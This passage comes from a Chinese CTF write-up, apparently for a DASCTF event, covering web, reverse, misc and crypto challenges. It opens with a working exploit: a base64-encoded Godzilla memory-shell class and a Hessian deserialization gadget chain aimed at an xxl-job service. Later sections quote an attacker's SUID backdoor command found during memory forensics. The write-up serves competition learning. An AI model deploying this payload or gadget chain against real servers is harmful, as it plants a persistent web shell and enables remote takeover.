c3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAC2dldEhhbmRsZXJzAQAlKClbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC3NldEhhbmRsZXJzAQAmKFtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQCAAIgAAAAEAAAAiQCKAAAAAACLAIoAAAAAAIwAigAAAAAAjQCOAAAACgAJAIwAjwABAJAAAACnAAQAAwAAADABTBIBuAACTSwqtgADAyq2AAS2AAW7AAZZBCy2AAe3AAgQELYACbYACkynAARNK7AAAQACACoALQALAAMAkQAAAB4ABwAAAB4AAgAhAAgAIgAVACMAKgAlAC0AJAAuACYAkgAAACAAAwAIACIAkwCUAAIAAAAwAJUAigAAAAIALgCWAIoAAQCXAAAAEwAC/wAtAAIHAJgHAJgAAQcAmQAAAQCaAJsAAQCQAAAAdQADAAEAAAA3KrcA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";
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);
HessianSerializer serializer = new HessianSerializer();
// byte[] data = serializer.serialize(xxlRpcRequest);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(os);
byte[] var5;
SerializerFactory serializerFactory = ho.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(gettable);
ho.flush();
byte[] result = os.toByteArray();
var5 = result;
String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);
System.out.println(shellcode);
}
}
最终哥斯拉直接x-fuck-data:godzilla就可以连接哥斯拉了。
REVERSE
题目:DosSnake
解题步骤
- 汇编语言分析
反编译之后发现是很长的汇编语言
并且发现是dos系统的程序,使用DOSbox运行之后发现是一个贪吃蛇小游戏,那么我们只需要找到长度比较点就可以了 - 长度比较点分析
最后发现此处长度比较,我们将他改为5然后运行程序玩一下就可以得到flag
- 逻辑解密
可以发现是
DASCTF
与unsigned char ida_chars[] ={ 0, 0, 0, 0, 0, 63, 9, 99, 52, 50, 19, 42, 47, 42, 55, 60, 35, 0, 46, 32, 16, 58, 39, 47, 36, 58, 48, 117, 103, 101, 60, 0, 0, 0, 0, 0, 0};
循环异或,异或回去则可以拿到flag
题目:Strangeprograme
解题步骤
- IDA查看代码main函数如下:
发现就一个memcmp,比较了一个fake flag
DASCTF{I'am Fake But Why Look Like real?}显然是假的
那么可以肯定的就是memcmp被动了手脚
那么我们使用附加调试,在memcmp上下断点,就可以发现memcmp的IAT表被修改了,属于IATHOOK
- Memcmp内容分析:
附加调试之后找到的memcmp真正的逻辑如下:
发现主要逻辑是tea
逻辑还原如下:
#include<cstdio>
#include<cmath>
#include<map>
#include<vector>
#include<queue>
#include<stack>
#include<set>
#include<string>
#include<cstring>
#include<list>
#include<stdlib.h>
using namespace std;
typedef int status;
typedef int selemtype;
unsigned int Key[7] = {0x12345678, 0x09101112, 0x13141516, 0x15161718};
void tea_encrypt(uint32_t *v, uint32_t *k) {
printf("%X %X\n",v[0],v[1]);
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x61C88647;
for (i = 0; i < 16; i++) {
v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
unsigned char Cipher[256] = "asdasdasdsadsadsadasd";
unsigned int Tmp[4] = {0};
int main() {
unsigned int *p1 = (unsigned int *)(Cipher);
unsigned int *p2 = (unsigned int *)(Cipher + 4);
printf("%s\n", Cipher);
Tmp[0] = *p1, Tmp[1] = *p2;
tea_encrypt(Tmp, Key);
printf("%X %X\n", *p1, *p2);
*p1 = Tmp[0];
*p2 = Tmp[1];
for (int i = 2 ; i < strlen((char*) Cipher) / 4 ; i += 2 ) {
tea_encrypt(Tmp, Key);
*p1 = Tmp[0];
*p2 = Tmp[1];
// printf("%X %X\n", *p1, *p2);
unsigned int *p3 = (unsigned int *)(Cipher + i * 4);
unsigned int *p4 = (unsigned int *)(Cipher + i * 4 + 4);
*p3 ^= *p1;
*p4 ^= *p2;
};
for (int i = 0 ; i < 40 ; i ++ ) {
printf("0x%X,", Cipher[i]);
}
}
题目:BabyAndroid
解题步骤
- 初步分析
首先运行APK正如描述所说是一个APK文件,一般这种,我们很难找代码,描述中说到过程序存在发包功能,那我们使用一下程序保存发现拦截到了如下数据包:
参数和Respoonse.txt中给出的一致,那么肯定是加密上传了,那么我们只需要打印java.net.HttpURLConnection; okhttp3.Response;java.net.HttpURLConnection的调用栈,就可以看到蛛丝马迹HOOK代码:
Java.perform(function() {
// Hook URL.openConnection()
var URL = Java.use("java.net.URL");
URL.openConnection.overload().implementation = function() {
console.log("URL.openConnection() called");
var result = this.openConnection();
printStackTrace();
return result;
};
// Hook HttpURLConnection.connect()
var HttpURLConnection = Java.use("java.net.HttpURLConnection");
HttpURLConnection.connect.implementation = function() {
console.log("HttpURLConnection.connect() called");
printStackTrace();
return this.connect();
};
// Hook HttpURLConnection.getOutputStream()
HttpURLConnection.getOutputStream.implementation = function() {
console.log("HttpURLConnection.getOutputStream() called");
printStackTrace();
return this.getOutputStream();
};
// Hook HttpURLConnection.getInputStream()
HttpURLConnection.getInputStream.implementation = function() {
console.log("HttpURLConnection.getInputStream() called");
printStackTrace();
return this.getInputStream();
};
function printStackTrace() {
var stackTrace = Java.use("java.lang.Thread").currentThread().getStackTrace();
console.log("Stack trace:");
for (var i in stackTrace) {
console.log(stackTrace[i].toString());
}
}
// Hook okhttp3.OkHttpClient and related methods
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
var Call = Java.use("okhttp3.Call");
var Request = Java.use("okhttp3.Request");
var Response = Java.use("okhttp3.Response");
// Hook OkHttpClient.newCall
OkHttpClient.newCall.overload('okhttp3.Request').implementation = function(request) {
console.log("OkHttpClient.newCall() called with request: " + request);
printStackTrace();
return this.newCall(request);
};
// Hook Call.execute
Call.execute.implementation = function() {
console.log("Call.execute() called");
printStackTrace();
return this.execute();
};
// Hook Response.body
Response.body.implementation = function() {
console.log("Response.body() called");
printStackTrace();
return this.body();
};
});
发现如下调用栈:
[M2004J7AC::NoteX ]-> URL.openConnection() called
Stack trace:
dalvik.system.VMStack.getThreadStackTrace(Native Method)
java.lang.Thread.getStackTrace(Thread.java:1736)
java.net.URL.openConnection(Native Method)
site.qifen.note.model.sendRequest.sendPost(sendRequest.java:19)
site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:192)
site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:174)
android.os.AsyncTask$3.call(AsyncTask.java:394)
java.util.concurrent.FutureTask.run(FutureTask.java:266)
android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:305)
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
java.lang.Thread.run(Thread.java:923)
[Ljava.lang.StackTraceElement;@31cb859
function p() {
[native code]
}
- 代码分析
看完调用栈,我们发现,主要是在site.qifen.note.ui.NoteActivity,接下来我们就可以开始反编译了
根据调用栈我们定位到上面代码,可以发现他从Sex.jpg中加载了一个site.qifen.note.ui.Encrypto类,来加密从从Native层方法sendInit返回的字符串。既然这样,我们需要想办法得到Dex的内容
直接Hook Loaddata
let NoteActivity = Java.use("site.qifen.note.ui.NoteActivity");
NoteActivity["loadData"].implementation = function (str) {
console.log(`NoteActivity.loadData is called: str=${str}`);
let result = this["loadData"](str);
console.log(`NoteActivity.loadData result=${result}`);
return result;
};
将输出的bytes保存为一个新的Dex文件即可。或者我们分析发现程序是RC4解密的Sex.jpg
public byte[] loadData(String str) {
try {
InputStream open = getAssets().open(str);
byte[] encryptedData = new byte[open.available()];
open.read(encryptedData);
open.close();
byte[] key = "DASCTF".getBytes();
return rc4Decrypt(key, encryptedData);
} catch (IOException e) {
Log.e("错误", "加载数据时发生错误", e);
return null;
}
}
private byte[] rc4Decrypt(byte[] key, byte[] data) {
int[] S = new int[256];
for (int i = 0; i < 256; i++) {
S[i] = i;
}
int j = 0;
for (int i2 = 0; i2 < 256; i2++) {
j = ((S[i2] + j) + (key[i2 % key.length] & UByte.MAX_VALUE)) % 256;
int temp = S[i2];
S[i2] = S[j];
S[j] = temp;
}
int i3 = data.length;
byte[] result = new byte[i3];
int i4 = 0;
int j2 = 0;
for (int k = 0; k < data.length; k++) {
i4 = (i4 + 1) % 256;
j2 = (S[i4] + j2) % 256;
int temp2 = S[i4];
S[i4] = S[j2];
S[j2] = temp2;
int t = (S[i4] + S[j2]) % 256;
result[k] = (byte) (data[k] ^ S[t]);
}
return result;
}
写出解密代码即可
def rc4_initialize(key):
# 初始化S盒
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_generate_keystream(S, data_length):
# 生成密钥流
i = 0
j = 0
keystream = []
for _ in range(data_length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
keystream.append(K)
return keystream
def rc4_encrypt(key, data):
key = [ord(c) for c in key]
S = rc4_initialize(key)
keystream = rc4_generate_keystream(S, len(data))
encrypted_data = bytes([data_byte ^ keystream_byte for data_byte, keystream_byte in zip(data, keystream)])
return encrypted_data
def main():
# 文件名和密钥
filename = 'Sex.jpg'
key = 'DASCTF'
# 读取文件内容
with open(filename, 'rb') as f:
data = f.read()
# 进行 RC4 解密
encrypted_data = rc4_encrypt(key, data)
# 保存解密后的数据到新文件
with open('Encrypto.dex', 'wb') as f:
f.write(encrypted_data)
print("解密完成,解密后的文件已保存为 'Encrypto.dex")
if __name__ == "__main__":
main()
最终发现其实就是一个AES
package site.qifen.note.ui;
import android.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
/* loaded from: E:\DASCTF-46\BabAndroid\加密dex\DASCTF */
public class Encrypto {
private static final String KEY = "DSACTF";
private static final String TAG = "Encrypto";
private static byte[] customHash(String input) {
byte[] keyBytes = new byte[16];
int[] temp = new int[16];
for (int i = 0; i < input.length(); i++) {
int charVal = input.charAt(i);
for (int j = 0; j < 16; j++) {
temp[j] = ((temp[j] * 31) + charVal) % 251;
}
}
for (int i2 = 0; i2 < 16; i2++) {
keyBytes[i2] = (byte) (temp[i2] % 256);
}
return keyBytes;
}
public static String encrypt(String data) throws Exception {
byte[] keyBytes = customHash(KEY);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, secretKeySpec);
byte[] encryptedBytes = cipher.doFinal(data.getBytes("UTF-8"));
return Base64.encodeToString(encryptedBytes, 2);
}
}
通过Hook获取key,或者自己直接算,都可以。
Hook代码如下:
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("site.qifen.note.ui.Encrypto");
var key = CheckerClass.customHash("DSACTF");
console.log(key);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {
}
});
发现hook到的返回值如下:
13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13如果自己算customHash代码如下:
def custom_hash(input_string):
key_bytes = bytearray(16) # 创建一个16字节的数组
temp = [0] * 16 # 初始化一个长度为16的整数数组,所有元素为0
# 遍历输入字符串中的每个字符
for char in input_string:
char_val = ord(char) # 获取字符的Unicode编码
for j in range(16):
temp[j] = (temp[j] * 31 + char_val) % 251 # 更新临时数组
# 将计算得到的临时数组转换为字节串
for i in range(16):
key_bytes[i] = temp[i] % 256
return bytes(key_bytes) # 返回字节串
# 测试函数
input_string = "DSACTF"
result = custom_hash(input_string)
for i in result:
print(hex(i),end=',');
解AES得到如下字符串:458.853181,-18.325492,-18.251911,-2.097520,-21.198660,-22.304648,21.103162,-5.786284,-15.248906,15.329286,16.919499,-19.669045,30.928253,-37.588034,-16.593954,-5.505211,3.014744,6.553616,31.131491,16.472500,6.802400,-78.278577,15.280099,3.893073,56.493581,-34.576344,30.146729,4.445671,6.732204
- Native分析
主要逻辑如下
典型的离散余弦变换
- EXP:
MISC
题目:png_master
解题步骤
下载附件,利用winhex查看
得到第一段flag
用010查看,发现有有问题的IDAT块
提取之后替换一个正常的png的IDAT,然后进行宽高爆破
得到
提示关注2和3
结合原图片的不正常显示
猜测进行了LSB处理,提取一下
from PIL import Image
img = Image.open('flag.png')
width, height = img.size
flag1 = ''
for y in range(0,height,3):
for x in range(0,width,2):
pixel = img.getpixel((x, y))
print(pixel)
flag1 += chr(pixel[3])
print(flag1[:23])
得到最后一段flag
或者
中间缺一部分,把原图拖进stegsolve查看发现alpha plane 0-7左上角均有异常,勾选查看:
得到第二部分flag
拼接起来:
DASCTF{2fd9e9ff-e27d-5405-c5f5-a19131f86216}
题目:EZ_zip
解题步骤
直接解压会报错,010打开模板报错,发现解压文件长度不对
将文件头和目录区的长度都修改为7之后模板不再报错
再解压提示CRC报错,发现是解压方法被改成了store,跟压缩方法对不上
修改解压方式后成功解压出320.zip
注释处可以找到密码提示,是一个嵌套加密的zip,密码为一个字节
爆破脚本:
import pyzipper
import os
for i in range(320,0,-1):
zip_filename = str(i) + ".zip"
zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES)
for j in range(0,0xff+1):
password = j.to_bytes(length=1, byteorder='big')
zf.setpassword(password)
try:
zf.extractall()
zf.close()
os.remove(str(i) + ".zip")
break
except:
pass
解压得到一个txt,提示加密方法为AES-ECB,并提示key可能在前面的过程中就出现了
联想到前面解压密码是字节形式,通过打印解压密码发现:
import pyzipper
import os
key = b''
for i in range(320,0,-1):
zip_filename = str(i) + ".zip"
zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES)
for j in range(0,0xff+1):
password = j.to_bytes(length=1, byteorder='big')
zf.setpassword(password)
try:
zf.extractall()
key += password
zf.close()
os.remove(str(i) + ".zip")
break
except:
pass
print(key[::-1].hex())
c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11
是循环的一个64位字符,将其当作key解密aes得到flag
题目:ServerMeM
解题步骤
1.全局搜索Linux version获得Kernel信息
Linux version 5.4.27 (root@localhost.localdomain) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)) #1 SMP Thu May 23 20:16:33 EDT 2024
2.根据所给内核信息,得知是Linux操作系统,内核版本为5.4.27,仿照创建CentOS虚拟机并更换内核,可参考
3.将volatility官方所给的工具传输进虚拟机,并编译制作profile
# 安装dwarfdump
yum install wget
wget https://www.prevanders.net/libdwarf-20201201.tar.gz
tar -xf libdwarf-20201201.tar.gz
cd libdwarf-20201201
# 配置并编译
sudo ./configure
sudo make install
export PATH=$PATH:/usr/local/bin
编译dwarf文件
和systemmap文件一起打包制作成profile
yum install redhat-lsb-core zip -y
sudo zip $(lsb_release -i -s)_$(uname -r)_profile.zip module.dwarf /boot/System.map-$(uname -r)
制作好的profile放入\volatility\plugins\overlays\linux
目录下
--info成功获取到该profile
使用linux_bash命令获取history
python2 vol.py -f out.lime --profile=LinuxCentOS_5_4_27_profilex64 linux_bash
通过观察发现以下两条命令,可以确定黑客是留了一个suid的后门,同时根据获取的最后两条bash的pid不同,可以确定是通过另一个用户登陆并使用该shell执行
chmod u+s /tmp/shell
根据官方文档Linux Command Reference · volatilityfoundation/volatility Wiki (github.com),volatility的linux_bash是获取/bin/bash进程的信息
因此当黑客通过/tmp/shell进行操作时将无法被读取。
官方也给出了解决措施,可以使用-A参数扫描所有进程
成功获取到了shell部分的命令
根据命令可以发现黑客使用了openssl对F14g.txt进行了加密,这里暂无很好的内置命令直接获取到运行时使用的密钥和S3rCr3t.dat信息,linux_find_file导出来全是0x00
尝试直接搜索tar -czf - F14ggg | openssl enc -e -aes256 -out ./S3rCr3t.tar.gz
命令可以会很容易在内存上下文中获取到该密钥P@ssW0rdddd,以及后面cat获取到的Salted__开头的加密文件
解密时还要注意openssl的版本,通过观察前面命令记录发现shell也查看了openssl的版本
同样方法可以读取到版本信息为
OpenSSL 1.0.2k-fips 26 Jan 2017
将加密文件导入虚拟机,用相近版本进行解密即可
Linux内存取证,要做符号表,但其实可以不用,直接strings就好了
个人习惯先过一遍可疑文件:
发现有个这个S3rCr3t.tar.gz
,并且说明了加密类型是openssl的aes256
,经过这种加密的特征就是Salted_
加盐值,拖进winhex里:
发现有命令,导出来:
OK,剩下的就是爆搜密钥了,ctfer常见的密钥:keyDASCTFPassword
然后在这里面加数字呗,这样写个脚本就好了:
import re
# 要搜索的字符列表
search_terms = [
b"key", b"password", b"dasctf", b"k3y", b"p@ssword", b"passw0rd",
b"p@ssw0rd", b"secret", b"s3cret", b"s3cr3t", b"s3cre4"#遇到一个加一个,CTFer的好习惯
]
# 要搜索的文件路径
file_path = "out.lime"
# 读取文件内容
with open(file_path, "rb") as file:
data = file.read()
# 搜索字符并打印结果
for term in search_terms:
# 后面可以跟随任意字符的模式
regex = re.compile(re.escape(term) + b".*", re.IGNORECASE)
for match in regex.finditer(data):
matched_text = match.group()
print(f"Found '{term.decode()}' match: {matched_text[:50]}...") # 只显示前50个字节
# 内存取证是这样的,而我们非预期选手考虑的就很多了
找到了密钥:P@ssW0rdddd
然后就是OpenSSL还得用原来版本的进行解密,CentOS镜像我没拉取下来,于是直接更换了某个docker里openssl
https://blog.csdn.net/weixin_44174099/article/details/122089980
更换成功,有命令,直接解密就好了
DASCTF{c086cd55-b86a-4ee6-8933-c8bee578148a}
题目: ez_wav
CRYPTO
题目:complex_enc
解题步骤
from Crypto.Util.number import *
import random
from secret import flag
def GET_KEY(n):
sum=2
key=[1]
for i in range(n):
r=random.randint(0,1)
x=sum+random.randint(0,n)*r
key.append(x)
sum+=x
return key
def enc(m,k):
cipher_list = []
for i in range(len(m)):
if m[i] == 1:
cipher_list.append(m[i] * k[i])
cipher = sum(cipher_list)
return cipher
m=bytes_to_long(flag)
m = [int(bit) for byte in flag for bit in format(byte, '08b')]
key=GET_KEY(len(m))
c=enc(m,key)
with open('output.txt', 'w') as f:
f.write(str(c))
f.write(str(key))
output.txt:
287687761937146187597379915545639385740275457170939564210821293233370716878150576
